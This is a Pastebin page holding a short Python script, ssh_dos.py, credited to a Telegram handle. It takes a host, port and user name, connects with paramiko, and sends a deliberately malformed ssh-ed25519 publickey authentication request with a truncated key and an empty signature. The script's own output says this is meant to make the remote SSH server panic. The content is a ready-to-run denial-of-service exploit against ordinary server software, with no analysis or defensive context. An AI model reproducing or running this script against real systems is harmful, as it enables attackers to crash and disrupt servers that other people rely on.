Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import socket
- import sys
- import paramiko
- from paramiko.common import cMSG_SERVICE_REQUEST, cMSG_USERAUTH_REQUEST
- print('Author: t.me/antichristone')
- if len(sys.argv) != 4:
- print('python3 ssh_dos.py host port user')
- sys.exit(1)
- host = sys.argv[1]
- port = int(sys.argv[2])
- user = sys.argv[3]
- sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- sock.connect((host, port))
- t = paramiko.Transport(sock)
- t.start_client()
- t.lock.acquire()
- m = paramiko.Message()
- m.add_byte(cMSG_SERVICE_REQUEST)
- m.add_string("ssh-userauth")
- t._send_message(m)
- m = paramiko.Message()
- m.add_byte(cMSG_USERAUTH_REQUEST)
- m.add_string(user)
- m.add_string("ssh-connection")
- m.add_string('publickey')
- m.add_boolean(True)
- m.add_string('ssh-ed25519')
- m.add_string(b'\x00\x00\x00\x0bssh-ed25519\x00\x00\x00\x15key-that-is-too-short')
- m.add_string(b'\x00\x00\x00\x0bssh-ed25519\x00\x00\x00\x00')
- t._send_message(m)
- print('Malformed auth request sent. This should cause a panic on the remote server.')
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement